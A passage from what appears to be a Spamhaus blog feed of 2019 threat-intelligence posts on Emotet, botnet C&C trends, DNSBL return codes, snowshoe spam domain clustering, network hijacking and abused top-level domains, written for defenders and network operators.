Distinct RCPTs targeted: | 8.052.961 | | Top 30 Networks | | | | --- | --- | --- | | Position | ASn | No. of IPs | | 1 | 8151 | 9180 | | 2 | 4788 | 3878 | | 3 | 3352 | 3485 | | 4 | 5384 | 2487 | | 5 | 45595 | 2363 | | 6 | 3269 | 2127 | | 7 | 4134 | 2108 | | 8 | 45899 | 1998 | | 9 | 24560 | 1765 | | 10 | 18881 | 1759 | | 11 | 3462 | 1667 | | 12 | 7303 | 1545 | | 13 | 37457 | 1400 | | 14 | 12430 | 1285 | | 15 | 9121 | 1279 | | 16 | 7713 | 1241 | | 17 | 22927 | 1227 | | 18 | 5713 | 1195 | | 19 | 17552 | 1186 | | 20 | 6147 | 1125 | | 21 | 28006 | 1104 | | 22 | 6400 | 1079 | | 23 | 12479 | 1051 | | 24 | 23969 | 1003 | | 25 | 14754 | 1000 | | 26 | 3816 | 902 | | 27 | 30722 | 869 | | 28 | 45758 | 858 | | 29 | 28573 | 831 | | 30 | 9329 | 767 | | Top 30 Countries | | | | --- | --- | --- | | Position | Country | No. of IPs | | 1 | MX | 11966 | | 2 | BR | 7691 | | 3 | ES | 7108 | | 4 | IN | 6550 | | 5 | ZA | 6154 | | 6 | IT | 6042 | | 7 | AR | 5172 | | 8 | MY | 5167 | | 9 | PK | 3864 | | 10 | VN | 3634 | | 11 | US | 3525 | | 12 | TH | 3501 | | 13 | CN | 3313 | | 14 | CO | 2856 | | 15 | AE | 2841 | | 16 | TR | 2721 | | 17 | ID | 2211 | | 18 | EC | 2157 | | 19 | TW | 1832 | | 20 | PE | 1702 | | 21 | CL | 1618 | | 22 | PH | 1412 | | 23 | DE | 1307 | | 24 | SA | 1286 | | 25 | DO | 1189 | | 26 | SG | 1016 | | 27 | LK | 960 | | 28 | KR | 875 | | 29 | AU | 855 | | 30 | VE | 831 | For SOCs, CERTs, and CSIRTs: Abuse.ch has some good tips for mitigation. Spamhaus Malware Labs will continue to monitor Emotet closely to see how this threat continues to evolve; it’s come far from the days when it was a simple banking trojan. In the meantime, ensure you’re protecting yourself. Please note: botnets are dynamic by nature, therefore other measurement may differ.

Botnet Threat Update Q3 2019

The Spamhaus Team — Fri, 11 Oct 2019 12:00:00 GMT

The number of newly detected botnet command & control servers (C&Cs) reached an all-time high in July 2019 with more than 1,500 botnet C&Cs detected. Get the full report here.

Spamhaus DNSBL return codes: technical update

The Spamhaus Team — Mon, 30 Sep 2019 17:29:19 GMT

Spamhaus' primary data sets are published in DNS zones known as DNSBLs. Users of that data ask the zone a question (a "query") and the zone provides a response - a return code - in the form of an IPv4 IP address within a designated range (RFC1918 internal network). The meaning of each of those particular IP responses may carry additional information to the querier. We post those return code values in our DNSBL Usage FAQ. A new range containing return codes (127.255.255.0/24) has been added to return possible errors related to the DNSBL queries themselves, which should NOT be interpreted as any sort of reputation related to the data being queried. While it will be quite uncommon for most Spamhaus users to encounter these codes, it is vitally important that software developers implement all return codes correctly, and not treat these error codes as any sort of reputation or "listed" values. The first two new error codes, and links to pages further explaining their meaning, are: | | | | | --- | --- | --- | | Return Code | Zone | Description | | 127.255.255.254 | Any | Query via public/open resolver | | 127.255.255.255 | Any | Excessive number of queries | Anyone that encounters either of those return codes should recognize that their queries are receiving error responses. Those responses must not be interpreted as advisories of Spamhaus reputation data regarding the object which was queried. Accordingly, any software which queries a Spamhaus DNSBL must distinguish between valid reputational responses and those error code responses. Any software which does not distinguish response codes from Spamhaus DNSBLs is, unfortunately, already out of date and may not be reliable in these or other cases. A common result of not correctly parsing DNSBL return codes is either treating all responses as either "LISTED," or treating them all as "NOT LISTED," and that means either all mail is treated by the indiscriminate software as "spam," or all mail is treated as "not spam." Neither result is desirable. Failure to correctly parse these return codes will render the query results meaningless and detrimental for the querier. Here is information on how to correctly configure commonly used MTAs for use with our public mirrors. These two return codes apply only to Spamhaus Project publicly queried zone mirrors. Clients of Spamhaus Technology DQS or rsync services will never encounter these return codes. 12 February 2021: Final warning!

Enable badness and the stats will speak for themselves

The Spamhaus Team — Tue, 23 Jul 2019 10:02:39 GMT

On numerous occasions we hear the argument from companies offering Internet related services that abuse isn’t their problem. However, the nub of the matter is that if your business is enabling malicious behavior to take place on the Internet it is your problem, and sooner or later it’s going to come back and bite you. Slippery shoulders Spamhaus has been part of this industry for a long time, and it's interesting to note reoccurring themes. One is particularly dominant; the denial of an operator that their service is enabling abuse. Across all areas of the industry; whether it's a registry, transit provider, or any other of the multitudes of suppliers who make up the internet ecosphere, there's regularly one who passes the buck, denying that their services are aiding (be that intentionally or not) cyber-criminals. Sadly the facts are just that... facts The work we do at Spamhaus isn't witchcraft (despite any rumors you may have heard). Those who work and volunteer for Spamhaus do it for the good of the internet. This may sound cheesy, but that's the truth of it. We don't randomly point to any old service provider, pulling a set of statistics out of thin air. Our researchers, with years of experience, are consistently working to identify and track badness, ultimately listing malicious domains and IPs. We report on this data, holding up a mirror to businesses who are failing to keep badness off the internet. If they weren't failing in this area, they wouldn't be listed. The past is proof Historically we've witnessed various companies ignore the messages we were providing in our reports but eventually, the ramifications of abuse catches up with them and the fall out is always negative; from loss of business to law enforcement requests. Let's look at a hosting company that did not enforce its 'Acceptable Use Policy' properly for many years. They were considered to be a haven for spam, phishing, and malware operations. At one point, their largest customer was a spammer that we had listed on our ROSKO list. This spammer caused their entire ASN to be blocked at network edges and by multiple threat intelligence providers, including Spamhaus. The result was a significant churn of customers, escalating support costs, and difficulty in attracting new business. Additionally, this hosting company had some customer servers seized by law enforcement. Naturally, this compounded the bad publicity. These incidents, alongside others drove this hosting company to enforce an 'Acceptable Use Policy' and build a dedicated team that was responsible for keeping the network as clean as possible, turning around the reputation of this company. Had they taken action earlier, in relation to the abuse that was being reported on their network, it’s safe to assume that revenue and reputation wouldn’t have been so badly damaged. Don't shoot the messenger In the words of Sophocles in Antigone, "For no man delights in the bearer of bad news." We understand that. Indeed, we would prefer to be reporting on falling numbers with multiple operators dropping off our lists, but sadly the facts speak for themselves - this year we've seen monthly averages of botnet command and controller listings more than double! Everyone who has a role in the running of the internet has a responsibility to put processes and procedures in place to stop abuse. Loopholes that are allowing cyber criminals to operate need to be closed. No single company is absolved of this responsibility.

MTA developers: allow use of domain DNSBLs at the SMTP level

The Spamhaus Team — Fri, 19 Jul 2019 12:08:45 GMT

Blocking by domain, rather than IP address, is arguably the most effective strategy to protect against snowshoe and hailstorm spam. However, we often find that users are failing to use domain block lists during the initial SMTP negotiation, before the body of the message is transmitted. Some overlook this aspect completely, meanwhile others have difficulties in configuring some of these checks in their mail systems. Here’s why it’s important to utilize our domain block lists at the SMTP level, along with an issue you may experience in trying to follow this best practice. Before we get deep into the technical detail let’s take a brief look at both snowshoe & hailstorm spam: Snowshoe spam Snowshoe spammers constantly purchase swathes of domains and IP addresses because they burn through them at astounding rates. For their spam to have the highest inbox delivery rate, their messages need to appear as legitimate as possible, by following some of the same rules legitimate senders work by: No forgeries Reverse DNS in place Authenticate the sending IP addresses with Sender Policy Framework (SPF) Sign the mails using Domain Keys Identified Mail (DKIM) Sent using Transport Layer Security (TLS). But above all, their connecting IP addresses and domains should not have been classified as ‘spammy’ by various mail filtering and reputation services. This whiter than white appearance only lasts for a limited amount of time. Before long snowshoe spammers’ IPs and domains typically end up on block lists such as ours. At this point, the snowshoe spammers are forced to move to different IPs and domains. Hailstorm spam In hailstorm spam this technique is brought to an extreme: suddenly resources appear out of the blue with tremendously intense spam emissions that last for just a few minutes or even seconds, terminating just before blocking lists come into action. At the Spamhaus Project we constantly work to reduce the delays between detection and listing deployment; this battle is now played out in seconds, rather than minutes, as was once the case. Is it better to protect against hailstorm & snowshoe spam with an IP address or by domain name? The answer is: both should be used, but by domain is usually more effective. IP addresses are purely numbers and often there is no reason to list an IP until it is observed to emit spam. Conversely, domains are strings of characters, they need to be registered before use, and often it is possible to detect correlations between the different domains of a specific spammer and therefore discover "domain clusters" that can be listed as a unit. This can enable a spam domain to become listed before it has actually been used (something that’s extremely useful if you’re fighting against a hailstorm attack, which is over in the blink of an eye.) An example can be found later in this article. Furthermore, the registration, administrative and technical costs of handling a new domain make it a significantly more expensive resource than a single IP address. Even if the cost of a domain is just a few dollars, if its useful lifetime in spam is only a few minutes and spammers need thousands of them, costs can quickly escalate. As a result, it’s not unusual for a domain to be associated with multiple IP addresses, so as soon as that single domain becomes listed emissions from several IPs are blocked at the same time. Considering the above points it’s evident why blocking by domain is probably more effective than blocking by IP address in the fight against this type of spam. An example: How a domain name may block snowshoe spam when an IP address won’t Below is a (slightly redacted) example extracted from our inbound spam flow. There is nothing special in this example: it simply evidences the pivotal role played by domains in snowshoe spam, and illustrates how domains can be clustered: Message details: Return-Path: Received: from pythagorean.siteslibrary.com (pythagorean.siteslibrary.com [162.244.13.46]) by (redacted) (Postfix) with ESMTPS id (redacted) for ; Thu, 6 Dec 2018 (redacted) +0100 (CET) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=siteslibrary.com; s=dkim; t=(redacted); bh=(redacted)=; h=to:from:subject:date:mime-version:message-id:content-type; b=(redacted)= To: From: "Breaking News" Subject: Putin threatens arms race if U.S. dumps treaty Date: Thu, 06 Dec 2018 (redacted) -0500 Precedence: bulk MIME-Version: 1.0 Feedback-ID: (redacted) List-Unsubscribe: , X-campaignID: (redacted) Content-type: text/html X-Original-Message-ID: While the subject line refers to a current topic in the news, the message body is full of pharmacy product adverts along with other items. SMTP details: Let’s now focus on the SMTP aspects of this message that come into play before it is delivered: The reverse DNS record is perfectly correct and matching the forward record: 46.13.244.162.in-addr.arpa. 14000 IN PTR pythagorean.siteslibrary.com. pythagorean.siteslibrary.com. 3600 IN A 162.244.13.46 The domain used has a valid SPF record, pointing to the IP addresses that actually emit the messages: "v=spf1 ip4:162.244.13.45 ip4:162.244.13.46 -all" The server presented itself (in the HELO/EHLO stage of the SMTP protocol) with the name pythagorean.siteslibrary.com The envelope sender address (Return-Path in the headers above) is alerts@siteslibrary.com The message is DKIM signed and it validated on receiving. These five points tell us that all the usual checks performed by mail servers to detect obviously falsified sender informations, or sending systems that are not really mail servers but compromised systems, produce a PASS response. Everything is perfect here; all the domain information is valid. Namely, the sending system is not a compromised system and is certainly operated by the people that are in control of the domain siteslibrary.com. As previously mentioned, snowshoe spammers work hard to pass all these checks and ensure that their messages are similar to those sent by legit senders, to convince the receiving servers to accept them. Blocking at the SMTP level Despite this, if we know in advance that siteslibrary.com is a spammer controlled domain, we have three independent ways to block this message during the initial SMTP negotiation, before contents are actually transmitted: Reverse DNS (PTR) checks HELO checks MAIL FROM (envelope sender) checks In this particular case, any of these checks would trigger; in other cases, only one or two of them could succeed. IP details: Now let us delve a little deeper and examine the IP surroundings to this message. A reverse DNS scan of this IP range shows a clear pattern: 162.244.13.35 sinister.healthypupil.com 162.244.13.36 cliquishness.healthypupil.com 162.244.13.37 clock.launchcentro.com 162.244.13.38 interconnectable.launchcentro.com 162.244.13.39 flocculate.vidyabooster.com 162.244.13.40 uncatholicizes.vidyabooster.com 162.244.13.41 regionalistic.gingerlender.com 162.244.13.42 sizing.gingerlender.com 162.244.13.43 ganga.kickoverflow.com 162.244.13.44 taint.kickoverflow.com 162.244.13.45 corella.siteslibrary.com 162.244.13.46 pythagorean.siteslibrary.com 162.244.13.47 chagres.technogroovy.com 162.244.13.48 welsh.technogroovy.com 162.244.13.49 philomela.digitalzoid.com 162.244.13.50 mallet.digitalzoid.com 162.244.13.51 bankable.circlepanda.com 162.244.13.52 condiments.circlepanda.com 162.244.13.53 inhaler.ballchasers.com 162.244.13.54 whamming.ballchasers.com 162.244.13.55 personae.dawt.info 162.244.13.56 blackish.dawt.info 162.244.13.57 frederiksberg.dern.info 162.244.13.58 endogenous.dern.info 162.244.13.59 antigenically.cusk.info 162.244.13.60 enriches.cusk.info 162.244.13.61 isogram.derv.info 162.244.13.62 inception.derv.info Our spam comes from a server that is part of a family. When this sample was caught the spammer was using just 10 of these IP addresses (35, 36, 45, 46, 47, 48, 49, 50, 53, 54), burning out 5 of his domains. The other domains were obviously ready to be burnt at a different time, as in fact happened. A ‘whois’ lookup shows that siteslibrary.com was registered less than one month before the spam run: % whois -h whois.namecheap.com siteslibrary.com Domain name: siteslibrary.com Registry Domain ID: 2334321018_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.namecheap.com Registrar URL: http://www.namecheap.com Updated Date: 2018-11-19T16:12:15.00Z Creation Date: 2018-11-19T16:12:15.00Z Registrar Registration Expiration Date: 2019-11-19T16:12:15.00Z Registrar: NAMECHEAP INC Registrar IANA ID: 1068 Registrar Abuse Contact Email: abuse@namecheap.com Registrar Abuse Contact Phone: +1.6613102107 Reseller: NAMECHEAP INC Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited What’s really interesting to note is that all the domains listed above have been registered at Namecheap in less than one minute for each of the two domain groups (.com and .info): Domain Creation Date healthypupil.com 2018-11-19T16:12:50.00Z launchcentro.com 2018-11-19T16:12:29.00Z vidyabooster.com 2018-11-19T16:12:25.00Z gingerlender.com 2018-11-19T16:12:24.00Z kickoverflow.com 2018-11-19T16:12:16.00Z siteslibrary.com 2018-11-19T16:12:15.00Z technogroovy.com 2018-11-19T16:12:07.00Z digitalzoid.com 2018-11-19T16:12:06.00Z circlepanda.com 2018-11-19T16:11:57.00Z ballchasers.com 2018-11-19T16:11:47.00Z dawt.info 2018-11-08T15:00:55.00Z dern.info 2018-11-08T15:00:55.00Z cusk.info 2018-11-08T15:00:47.00Z derv.info 2018-11-08T15:00:44.00Z Blocking a domain before it’s been used: On the basis of this data, we can safely conclude that these 14 domains are part of the same family, belonging to the same actor. They can be blocked as a preventive measure, despite the fact that some may not have been used yet. We routinely do this kind of analysis, involving varying degrees of automation. This means that these spam domains may be included in the DBL before they’ve even been used. As a result, our users have a chance to block these senders even if the sending IP address is not listed on any block list. Remember; there is often a good reason for that IP address not to be listed, namely it may have started emitting spam only a handful of seconds before it made the connection with your mail server. Many spammers use each IP address for a very short time and open a tremendous number of simultaneous SMTP connections towards their targets to hit them at approximately the same time. Having explained why there’s a significant benefit to block using a domain block list at the SMTP level, here’s the challenge we’re facing: Some MTAs do not allow use of domain DNSBLs at the SMTP level In theory, the three DNSBL-based domain checks that can be carried out during the initial SMTP negotiation -- HELO, MAIL FROM and rDNS -- should not be too difficult to implement in Mail Transfer Agents (MTAs). Particularly when compared to the code required to extract URLs from message bodies. Development teams should be able to implement this feature with little effort. Unfortunately, despite various domain DNSBLs being available in the market place for years, including the Spamhaus DBL which was first available in March 2010, a large number of MTAs still do not allow these checks at the SMTP level, they only support IP-based block lists. Some known exceptions: Besides some carrier grade MTAs that have had this functionality for a long time, Postfix and Exim spring to mind as exceptions. Therefore users of these MTAs get better protection against snowshoe and hailstorm spam. Having said this, add-on control panels, supposed to make life easier for users, such as the well known Plesk, often do not allow for this functionality even when the underlying MTA supports it. A plea to developers of MTAs & MTA user interfaces: Please make it possible to for your users to deploy domain-based block lists before the SMTP DATA stage, checking the HELO string, the MAIL FROM domain and the reverse DNS hostname (when available). Please put this issue on your agenda before the end of the year! Thanks, and have a great summer!

Botnet Threat Update Q2 2019

The Spamhaus Team — Mon, 15 Jul 2019 12:00:00 GMT

In Q2 2019, monthly averages remained high, and two new credential stealers and a dropper made it onto our Top 20 list for malware families associated with botnet C&C listings. Get the full report here.

Botnet Threat Update Q1 2019

The Spamhaus Team — Thu, 25 Apr 2019 12:00:00 GMT

Spamhaus Malware Labs observed significant changes in the malware that's associated with botnet command and control (C&C) servers, most notably a preference for cybercriminals to utilize crimeware kits. Read more here.

Emotet adds a further layer of camouflage

The Spamhaus Team — Wed, 27 Mar 2019 10:09:25 GMT

Most professionals within enterprise security have come across ‘Emotet'. As its history illustrates, the criminals behind Emotet malware are cunning and quick to maximize its ‘potential.' From a basic banking Trojan to a threat distribution service, it is constantly being re-invented. This ‘constant malware improvement’ isn’t showing any sign of abating. Recently the Spamhaus Malware Labs team have identified further unsettling changes in Emotet. Emotet - what is it? As previously mentioned, this malware came to the fore as a basic self-propagating banking Trojan in 2014. However, over the past 5 years the creators of this malware have taken the most successful facets of other disruptive software and created a modular malware family that can evade detection, spread like wildfire across a network and deliver multiple payloads. Only a year ago Allentown, USA, hit the news headlines after becoming infected with Emotet. The remediation costs were reported to be in the region of US $1million. Emotet - the data In the last two months alone, the researchers at Spamhaus Malware Labs have tracked approximately 47,000 Emotet infected machines emitting around 6,000 distinct URLs to compromised websites serving as infection vectors. This makes Emotet the most actively distributed malware at the moment, accounting for almost 45% the total number of URLs used for this purpose. There is no sign that the numbers associated with Emotet will decline over the forthcoming months, particularly given a recent discovery that will make Emotet even more difficult to detect. Emotet HTTP advancement HTTP Headers - Previously, Emotet built moderately primitive HTTP packets. The fact they were primitive was a good thing; these HTTP packets didn’t follow the standard protocol for either the type of data or how the data was sent. This made them easy to detect using a static signature on network traffic. Emotet HTTP packet Unfortunately, these HTTP packets have become increasingly sophisticated: now they predominantly follow the RFC (Request for Comments) specifications of the HTTP protocol. These additional details in Emotet's HTTP headers give the appearance of coming from a legitimate request, e.g., a browser or other application. As a result, a static signature on network traffic won’t detect them, which is far from ideal. Adding HTTP headers Uniform Resource Identifier inclusion - Not only do we have the addition of these extra headers (as illustrated above), but Emotet has also started to include a Uniform Resource Identifier (URI). In the past, a URI was missing, but now it is randomizing between two different words. The URI randomly generates from a list of hardcoded comma separated words, as you can see in the example below. It is worth noting that while Emotet’s HTTP headers have changed the layer below, i.e., the custom protocol remains unchanged, as this image illustrates. Protect yourself The creators of Emotet have been savvy, and while nothing they have done is rocket science, there is clear evidence that they have a strong desire to make this malware more evasive and bulletproof. Which in turn means that you need to have bulletproof security.

How to Halt the Hijackers

The Spamhaus Team — Wed, 06 Mar 2019 23:18:00 GMT

If you’ve read Network hijacking - the low down, you’ll be fully versed in the varied ways cybercriminals can hijack your network. In this article, we’ll be explaining how to protect against this happening to you, along with a high-level overview as to what you can do if your Internet Protocol (IP) addresses are hijacked. Ways to protect your networks from being hijacked in the first place Don’t lose track of your assets! Yes, that’s right, you need to start thinking of your IPs addresses as assets, just as you would your office coffee machine. Over time IP addresses have become an increasingly valuable commodity. Unfortunately, as companies are bought, sold and merged, assets like IP ranges can get ‘lost’ in the exchange. It makes good business sense to keep track of them. Maintain up-to-date contact information with your Regional Internet Registry (RIR) registration. This is important not only to enable the RIR to be able to get in touch for any day-to-day matters concerning your IP address but also to alert you, should a third party try to tamper with your registration, by changing the contact handles for instance. Religiously renew any domains that are used for email addresses of contacts within your registration, as these are prime targets for a takeover by hijackers. It would make sense to extend the registration of these domains for as many years as possible. Even if your IP ranges are not being actively used for anything make sure that you announce them. Hijackers are less likely to be interested in announced IP ranges. Help! I’ve been hijacked! Now what? The first step is to figure out which Autonomous System Number (ASN) is announcing your hijacked netblock and contact that Internet service provider (ISP). If the ASN itself appears hijacked or is not responding, you can go up to the upstream ISP that is routing the ASN (i.e. the next ASN upstream in the announcement path). Remember to gather evidence Not only should you request that the ISP stop announcing your netblock, but you should also use this as an opportunity to collect any evidence to help get things sorted out. This would include such details as: Letter of Authority presented for the announcement Contact information provided by the hijackers Payment details used (credit card or bank information) But the domain name for the contact information is no longer owned by me If your domain name, which was used in the email address for the RIR contact information, has lapsed and is now in the hands of the hijackers, it would be considered to be the definition of “bad faith” under the Uniform Domain Name Dispute Resolution Policy (UDRP). Retrieving the domain should be a simple matter. Start by filing a complaint with WIPO. Similarly, if your RIR registration has been tampered with by the hijackers, all RIR’s, for example, ARIN have a procedure to prove ownership and reclaim hijacked netblocks. Check for any reputation damage Having fallen into the hands of cyber criminals, it’s more than likely that your network will have been abused. As a result, it could be listed on the Spamhaus Block List (SBL) or the Spamhaus DROP list, so check here. Additional help There are mailing lists run by groups like the North American Network Operators Group (NANOG) where hijacking is an accepted discussion topic. In taking this route, you should be able to locate the right contact(s) to assist with a particular hijacking incident. Law enforcement steps in As mentioned in our previous network hijacking post there are various types of criminal activity associated with network hijackings. To put hijacked IPs to use, cybercriminals are likely to commit the crimes of fraud, identity theft, and forgery. Additionally, if the hijacked IPs are being used for spamming, this is a felony in the United States according to US CAN-SPAM Act of 2003. The relevant text is: § 1037. Fraud and related activity in connection with electronic mail IN GENERAL.--Whoever, in or affecting interstate or foreign commerce, knowingly falsely represents oneself to be the registrant or legitimate successor in interest to the registrant of five or more Internet protocol addresses and intentionally initiates the transmission of multiple messages from such addresses, or conspires to do so, shall be punished as provided in subsection (b). As of 2018, US federal grand juries have indicted six individuals on felony charges for their roles in allegedly conspiring to send illegal spam through hijacked netblocks. Given these recent indictments, Spamhaus expects that cybercriminals will figure out that network hijackings carry a heavy penalty which is not worth the risk. However, in the meantime take the necessary precautions to keep your networks safe!

The most abused top-level domains in 2018

The Spamhaus Team — Fri, 22 Feb 2019 08:59:16 GMT

Last year, cybercriminals were exceptionally busy registering domain names which were used to host a botnet command & control (C&C). The team at Spamhaus observed a large 52% increase compared to 2017! Here’s everything you need to know when it comes to the most abused top-level domains (TLDs) in 2018, along with a steer on how to protect yourself from a worrying trend concerning decentralized TLDs (dTLDs). The importance of domain names Cybercriminals prefer to use a domain name registered exclusively to host a botnet C&C. A dedicated domain name allows them to fire up a new virtual private server (VPS), load the botnet C&C kit, and immediately be back in contact with their botnet after their (former) hosting provider shuts down their botnet C&C server. Not having to change the configuration of each infected computer (bot) on the botnet is a significant advantage. Number of botnet C&C domain names registered in 2018 Last year, compared to 2017, Spamhaus Malware Labs saw a 100% increase in the number of the domain names registered and set up by cybercriminals for the sole purpose of hosting a botnet C&C: 2017:** 50,000 domains 2018:* 69,961 domains\ Top-level domains – a brief overview Before we get into the detail of which top-level domains were abused the most by botnet C&Cs in 2018 let’s take a look at some of the different types of top-level domains: Generic TLDs (gTLDs)** – can be used by anyone Country code TLDs (ccTLDs)** – some have restricted use within a particular country or region; however, others are licensed for general use which provides the same functionality of gTLDs Decentralized TLDs (dTLDs)** – independent top-level domains that are not under the control of ICANN. Most abused top-level domains in 2018 There were some interesting (and concerning) developments in this area, perhaps most notably was the rise of domain names registered to ‘.bit,’ a decentralized top-level domain (dTLD). Domain names with this type of TLD create additional issues when it comes to blocking malicious traffic and taking down these bad operators. Top abused TLDs ** Palau ‘.pw’ was the most abused TLD: The listings associated with ‘.pw’ rose by 56% in 2018, which was an additional 4,835 botnet C&Cs connected with this domain from the previous year. Russia ‘.ru’ had a reduced number of domain registrations for botnet C&Cs: We noted a small decrease from 1,370 domain listings in 2017 to 1,183 in 2018. This saw ‘.ru’ ccTLD move out of the top ten rankings, down to #17. Historically cybercriminals heavily abused ‘.ru’ & ‘.su’ ccTLDs, however, over recent years their operator has implemented measures which are having positive effects in reducing the amount of abuse across these 2 TLDs. ‘.tk,’ ‘.ml,’ ‘.ga,’ ‘.gg’ and ‘.cf’ made their first appearances in the Top 20: Originally ccTLDS; Freenom now operate them, and they are considered to be gTLDs. As the name implies ‘Freenom’ provide domain names for free. Given this business model, it’s not surprising that there has been a massive increase in abusive activity associated with them: Cybercriminals realize that their nefarious actions are likely to lead to their domain name being shut down, therefore prefer to obtain them for free rather than pay for them. dTLD ‘.bit’ had an upsurge in listings: This dTLD didn’t make it into the ‘Top 20’ however we observed 108 domain names hosting botnet C&Cs with the dTLD ‘.bit.’ dTLDs provide criminals with advantages over other TLDs and consequently pose additional threats to users; therefore we feel it is necessary to highlight them: These domain names cannot be taken down or suspended when being used for malicious purposes, because there is no governing body associated with a dTLD. Researching malicious activity becomes more challenging as domain name registrations within dTLDs are usually entirely anonymous, with registrant information not being required. dTLDs bypass DNS Firewalls/Response Policy Zones (RPZ) that many ISPs and businesses use to protect their customers/users from cyber threats. They by-pass DNS Firewalls because dTLD domains are not resolvable through common DNS. Instead, they are resolved through nameservers that support ‘.bit,’ such as OpenNIC. How can you protect against botnet C&C traffic on dTLD’s? Protocol data feeds provide an added layer of protection. These block connections to IPs involved in the most dangerous cybercrime and DDoS attacks via your edge router. By taking just a few minutes to configure your edge router to peer with a Spamhaus BGP router and a null route, you can provide your network with up-to-date protection against botnets, alongside phishing and external attacks on your organization’s servers. IT security has always required a multi-faceted approach, and with new threats continually coming to the fore, such as those posed by botnet C&C traffic registered to a dTLD, it is vital to continue to add layers of additional security. If you’d like to read the full Botnet Threat Report click here or sign up for a FREE 30 day BGP trial here \*N.B. These numbers exclude hijacked domain names; domains owned by non-cybercriminals that were used without permission, and domains on ‘free sub-domain’ provider services.

Botnet command & control domain registrations go through the roof in 2018

The Spamhaus Team — Fri, 22 Feb 2019 08:36:13 GMT

When Spamhaus Malware Labs observe a 40% increase in the number of domains that are being registered by cybercriminals to host a botnet command & control (C&C) it’s time to stop. Take a look. And understand where the threats are coming from in the top-level domains (TLDs) space and learn how you can protect against them. The importance of domain names Cybercriminals prefer to use a domain name registered exclusively to host a botnet C&C. A dedicated domain name allows them to fire up a new virtual private server (VPS), load the botnet C&C kit, and immediately be back in contact with their botnet after their (former) hosting provider shuts down their botnet C&C server. Not having to change the configuration of each infected computer (bot) on the botnet is a significant advantage. Number of botnet C&C domain names registered in 2018 Last year, compared to 2017, Spamhaus Malware Labs saw a 40% increase in the number of the domain names registered and set up by cybercriminals for the sole purpose of hosting a botnet C&C: 2017: 50,000 domains 2018: 69,961 domains\* Top-level domains – a brief overview Before we get into the detail of which top-level domains were abused the most by botnet C&Cs in 2018 let’s take a look at some of the different types of top-level domains: Generic TLDs (gTLDs)- can be used by anyone Country code TLDs (ccTLDs)- some have restricted use within a particular country or region; however, others are licensed for general use which provides the same functionality of gTLDs Decentralized TLDs (dTLDs) -independent top-level domains that are not under the control of ICANN. Most abused top-level domains in 2018 There were some interesting (and concerning) developments in this area, perhaps most notably was the rise of domain names registered to ‘.bit,’ a decentralized top-level domain (dTLD). Domain names with this type of TLD create additional issues when it comes to blocking malicious traffic and taking down these bad operators. Top abused TLDs Palau ‘.pw’ was the most abused TLD: The listings associated with ‘.pw’ rose by 56% in 2018, which was an additional 4,835 botnet C&Cs connected with this domain from the previous year. Russia ‘.ru’ had a reduced number of domain registrations for botnet C&Cs: We noted a small decrease from 1,370 domain listings in 2017 to 1,183 in 2018. This saw ‘.ru’ ccTLD move out of the top ten rankings, down to #17. Historically cybercriminals heavily abused ‘.ru’ & ‘.su’ ccTLDs, however, over recent years their operator has implemented measures which are having positive effects in reducing the amount of abuse across these 2 TLDs. ‘.tk,’ ‘.ml,’ ‘.ga,’ ‘.gg’ and ‘.cf’ made their first appearances in the Top 20: Originally ccTLDS; Freenom now operate them, and they are considered to be gTLDs. As the name implies “ËœFreenom’ provide domain names for free. Given this business model, it’s not surprising that there has been a massive increase in abusive activity associated with them: Cybercriminals realize that their nefarious actions are likely to lead to their domain name being shut down, therefore prefer to obtain them for free rather than pay for them. dTLD ‘.bit’ had an upsurge in listings: This dTLD didn’t make it into the ‘Top 20’ however we observed 108 domain names hosting botnet C&Cs with the dTLD ‘.bit.’ dTLDs provide criminals with advantages over other TLDs and consequently pose additional threats to users; therefore we feel it is necessary to highlight them: These domain names cannot be taken down or suspended when being used for malicious purposes, because there is no governing body associated with a dTLD. Researching malicious activity becomes more challenging as domain name registrations within dTLDs are usually entirely anonymous, with registrant information not being required. dTLDs bypass DNS Firewalls/Response Policy Zones (RPZ) that many ISPs and businesses use to protect their customers/users from cyber threats. They by-pass DNS Firewalls because dTLD domains are not resolvable through common DNS. Instead, they are resolved through nameservers that support ‘.bit,’ such as OpenNIC. How can you protect against botnet C&C traffic on dTLD’s? Border Gateway Protocol data feeds provide an added layer of protection. These feeds block connections to IPs involved in the most dangerous cybercrime and DDoS attacks via your edge router. By taking just a few minutes to configure your edge router to peer with a Deteque BGP router and a null route, you can provide your network with up-to-date protection against botnets, alongside phishing and external attacks on your organization’s servers. IT security has always required a multi-faceted approach, and with new threats continually coming to the fore, such as those posed by botnet C&C traffic registered to a dTLD, it is vital to continue to add layers of additional security. \*N.B. These numbers exclude hijacked domain names; domains owned by non-cybercriminals that were used without permission, and domains on ‘free sub-domain’ provider services.

Botnet command & control malware - the highs and lows of 2018 - Spamhaus Technology

The Spamhaus Team — Tue, 12 Feb 2019 13:46:31 GMT

The team at Spamhaus Malware Labs were pretty busy last year. Actually, that’s an understatement: they detected and blocked a record number of botnet command & control (C&C). Over 10,000 in fact!Here’s an overview of the malware that botnet C&Cs were associated with, but if you want the full botnet C&C picture download the detailed report here. The malware trends in 2018: As always, the threat landscape was highly dynamic in 2018. While some trends such as remote access tools (RATs) continued to gather momentum, additional ones started to rear their heads, such as CoinMiners. Credential Stealers: As in 2017, credential stealers were still accounting for the most significant amount of botnet C&C traffic; however there were changes as to which were top of the leader board. Pony’ held the #1 spot for two years, however in 2018 ‘Loki’ took pole position, having more than doubled the number of unique botnet C&Cs associated with it. Remote Access Tools (RATs): This type of malware saw a significant increase in 2018, in particular, a Java-based RAT, called JBifrost (aka Adwind). Back in 2017, we reported that JBifrost was starting to flood the botnet landscape, however, in 2018 we witnessed an explosion in the number of unique botnet C&C listings associated with it. The sheer volume of these listings has placed JBifrost at #2 on our leader board. Ransomware & e-banking Trojans: Botnet C&Cs associated with both types of malware dropped significantly in 2018. CoinMiners: Making their first appearance in the Top 20 list last year were CoinMiners. These are malicious pieces of software that silently mine cryptocurrencies, such as Bitcoin and Monero, without the consent or approval of the user. In 2018, we identified 83 botnet C&Cs associated with CoinMiners. Mining pools: In addition to CoinMiner botnet C&C listings, in 2018 we also issued 156 Spamhaus Block List (SBL) listings for 111 cryptocurrency mining pools that were used by the CoinMiners. Some of these cryptocurrency mining pools appeared to be rogue; however, the majority were legitimate pools that were being abused by CoinMiners. The Spamhaus Project has tried to approach the responsible hosting providers, asking them to have the offending user(s) of the mining pool suspended, to stop the fraudulent activity. Unfortunately, this was not always possible because some cryptocurrencies, such as 